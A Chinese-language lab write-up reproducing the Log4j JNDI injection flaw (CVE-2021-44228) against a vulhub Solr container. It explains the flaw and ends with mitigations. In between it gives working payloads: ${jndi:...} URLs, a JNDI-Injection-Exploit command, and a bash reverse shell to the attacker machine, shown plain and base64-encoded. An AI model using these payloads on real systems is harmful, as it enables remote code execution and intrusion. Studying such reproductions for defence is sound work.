vulhub复现CVE-2021-44228log4j漏洞

一：漏洞概述

二：漏洞原理

三：漏洞利用

lookup功能：

JNDI解析器：

ldap服务：

RMI：

四：漏洞复现

4.1靶场

4.2dnslog测试

4.3部署jndi-injection-exploit

4.4打开监听端口

4.5触发请求，请求内容为恶意class文件

五、解决方法：

一：漏洞概述

Log4j漏洞是由于Log4j 2在处理日志消息中的JNDI（Java Naming and Directory Interface）查找时存在的不安全实现而引发的。攻击者可以通过特制的日志消息利用此漏洞，从而使Log4j在处理日志消息时，连接到恶意的LDAP服务器并执行任意代码。

二：漏洞原理

攻击者构造payload，在JNDI接口lookup查询进行注入，payload为${jndi:ldap:恶意url/poc}，JNDI会去对应的服务（如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap）查找资源，由于lookup的出栈没做限制，最终指向了攻击者部署好的恶意站点，下载了远程的恶意class，最终造成了远程代码执行rce。

log4j2框架下的lookup查询服务提供了{}字段解析功能，传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制，就有可能让查询指向任何服务（可能是攻击者部署好的恶意代码）。

攻击者可以利用这一点进行JNDI注入，使得受害者请求远程服务来链接本地对象，在lookup的{}里面构造payload，调用JNDI服务（LDAP）向攻击者提前部署好的恶意站点获取恶意的.class对象，造成了远程代码执行（可反弹shell到指定服务器）。

三：漏洞利用

攻击者利用该漏洞的步骤如下：

构造恶意日志消息：攻击者创建一个包含JNDI查找请求的特制字符串，例如${jndi:ldap://attacker.com/a}。
日志记录：该字符串被应用程序记录到日志中。
JNDI查找：Log4j在处理这条日志消息时，会解析JNDI查找请求并尝试连接到指定的LDAP服务器。
恶意代码执行：如果LDAP服务器返回一个恶意的Java类，Log4j将加载并执行该类中的代码，从而使攻击者能够在目标系统上执行任意代码。

lookup功能：

Lookup 是一种查找机制，用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式，可以在日志消息中引用、解析和插入各种上下文相关的信息。
log4j中除了sys解析器外，还有很多其他类型的解析器。其中，jndi 解析器就是本次漏洞的源头

JNDI解析器：

JND全称为Java命名和目录接口，提供了命名服务和目录服务，允许从指定的远程服务器获取并加载对象，JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
正常的包含jndi的日志记录方式如下：
logger.info("system propety: ${jndi:schema://url}");
log4j2框架下的lookup查询服务提供了{}字段解析功能，传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制，就有可能让查询指向任何服务（可能是攻击者部署好的恶意代码）。
jdk将从url指定的路径下载一段字节流，并将其反序列化为Java对象，作为jndi返回。反序列化过程中，即会执行字节流中包含的程序。
攻击者如何控制服务器上记录的日志内容呢？
大部分web服务程序都会对用户输入进行日志记录。例如：用户访问了哪些url，有哪些关键的输入等，都会被作为参数送到log4j中，我们在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}就可以使web服务从xxx.dnslog.cn下载字节流了。
ldap服务：

LDAP(轻型目录访问协议)是一个开放的，中立的，工业标准的应用协议，
通过IP协议提供访问控制和维护分布式信息的目录信息。

目录是一个为查询、浏览和搜索而优化的专业分布式数据库，它呈树状结构组织数据，就好象Linux/Unix系统中的文件目录一样。

RMI：

RMI（远程方法调用）：它是一种机制，能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。

四：漏洞复现

4.1靶场

靶机	11.0.1.15
攻击机/监听机	11.0.1.20

vulhub创建CVE2021-44228环境，如果出现以下情况，且换docker加速源无用的情况下请参考（百试百灵屡试不爽）：[已解决]DockerTarBuilder永久解决镜像docker拉取异常问题-CSDN博客

┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
ERROR: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

靶场容器创建成功

┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS       PORTS                                       NAMES
44d82bcf4772   vulhub/solr:8.11.0   "bash /docker-entryp…"   5 hours ago   Up 5 hours   0.0.0.0:8983->8983/tcp, :::8983->8983/tcp   cve-2021-44228_solr_1

访问11.0.1.15:8983

4.2dnslog测试

访问dnslog.cn，创建一个域名

我这里是mkd5k.dnslog.cn

访问http://11.0.1.15:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.mikd5k.dnslog.cn}

刷新“refresh record”回显说明存在漏洞，但这里添加了$(sys.java.version)但没有显示java版本，原因未知。

4.3部署jndi-injection-exploit

部署jndi-injection-exploit，需要jdk环境，我这里使用jdk-8u381

https://github.com/welk1n/JNDI-Injection-Exploit/releases

编码转换地址

Runtime.exec Payload Generater | AresX's Blog

原命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "转化后的bash编码命令" -A "攻击机/监听机/本机"

反弹shell的命令（编码前）
bash -i >& /dev/tcp/11.0.1.20/6666 0>&1
反弹shell的命令（编码后）
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"

创建jndi服务

其中生成的链接后面的codebaseClass是6位随机的，因为不希望工具生成的链接本身成为一种特征呗监控或拦截。服务器地址实际上就是codebase地址，相比于marshalsec中的JNDI server来说，这个工具把JNDI server和HTTP server绑定到一起，并自动启动HTTPserver返回相应class，更自动化了。

[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"
[ADDRESS] >> 11.0.1.20
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://11.0.1.20:1099/ht5juj
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/tcyijf
ldap://11.0.1.20:1389/tcyijf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/7hzekb
ldap://11.0.1.20:1389/7hzekb

----------------------------Server Log----------------------------
2024-12-10 15:33:43 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2024-12-10 15:33:43 [RMISERVER]  >> Listening on 0.0.0.0:1099
2024-12-10 15:33:44 [LDAPSERVER] >> Listening on 0.0.0.0:1389

这里使用jdk1.8，所以是rmi://11.0.1.20:1099/tcyijf

4.4打开监听端口

攻击机/监听机另开一个终端监听

nc -lvnp 6666

4.5触发请求，请求内容为恶意class文件

浏览器访问http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}

监听机成功获取容器shell

http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}

成功获取shell

五、解决方法：

1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈，也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截，即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置，禁止不必要的业务访问外网，配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。

参考：

log4j远程代码执行漏洞 - 假牙哥66 - 博客园

log4j2远程代码执行漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）_log4j漏洞复现-CSDN博客

网络安全最新【漏洞复现】2(1)_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客

Log4j漏洞CVE-2021-44228原理以及漏洞复现【vulhub】-CSDN博客